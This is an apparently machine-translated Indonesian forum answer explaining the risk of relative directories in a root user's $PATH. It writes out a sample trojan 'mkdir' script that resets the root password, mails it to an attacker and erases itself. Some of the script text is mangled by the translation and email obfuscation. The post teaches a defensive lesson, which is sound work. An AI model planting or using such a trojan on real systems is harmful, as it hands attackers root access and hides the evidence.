Ada dua masalah dengan jalur yang Anda gunakan.
- Jalurnya relatif.
- Jalur relatif datang sebelum jalur utama.
Misalkan Anda memiliki skrip shell berikut yang Anda gunakan sebagai root untuk memperbarui beberapa aplikasi web dan Anda telah menyetel $PATH
digunakan di /etc/profile
#!/bin/bash
pushd /dev/shm
git clone http://some/git/path/web_app
cp -a web_app /var/www/html
rm -fr web_app
popd
Untuk penyerang Anda menyediakan sarana untuk mengeksekusi sesuatu di shell yang dikendalikan oleh penyerang tersebut. Suatu bentuk serangan akan terlihat seperti ini - di mana saya mencoba menumbangkan kendali mkdir
panggil skrip yang rentan.
attacker$ cd /dev/shm
attacker$ mkdir -p apps/java/bin
attacker$ vi apps/java/bin/mkdir
#!/bin/bash
echo "some_random_password" | passwd --stdin root
echo "We owned that guy with some_random_password" | mail -s "Pwned" [email protected]
/bin/mkdir [email protected]
rm -fr /dev/shm/apps
attacker$ chmod +x apps/java/bin/mkdir
Lalu saya menunggu Anda memperbarui aplikasi web Anda.
Sekarang yang terjadi, skrip yang rentan beralih ke /dev/shm
. Ketika melakukan ini dan menjalankan mkdir
ia menemukan apps/java/bin/mkdir
program terlebih dahulu, yang dalam hal ini mengatur ulang kata sandi root, mengirim email ke penyerang kata sandi root baru, sebenarnya memanggil mkdir
yang asli (untuk menyembunyikan fakta bahwa sesuatu telah benar-benar terjadi) dan menghapus dirinya sendiri dari jalur serangan.
Sebagai root, Anda mendapatkan tidak tahu apa yang terjadi dan bukti dihapus setelah muatan dikirim.
Masalah dengan memiliki jalur relatif di $PATH adalah jika penyerang dapat membuat file dengan nama tertentu di sistem file Anda, Anda berisiko mengeksekusi file tersebut.
Contoh:df
atau pemantauan mengatakan /var sudah penuh, du
tertulis /var/spool/ftp/uploads
, apa yang kamu lakukan?
cd /var/spool/ftp/uploads
ls -ltr
dan kamu dimiliki. Anda bahkan tidak melihat ls
di output, jadi Anda tidak akan pernah tahu.
Ganti unggahan ftp dengan beberapa direktori data dari beberapa situs web klien, atau direktori /tmp dari mesin bersama, atau banyak hal lainnya.
Memang tidak akan sering terjadi, tetapi risikonya ada, dan menulis ./script
bukannya script
mudah.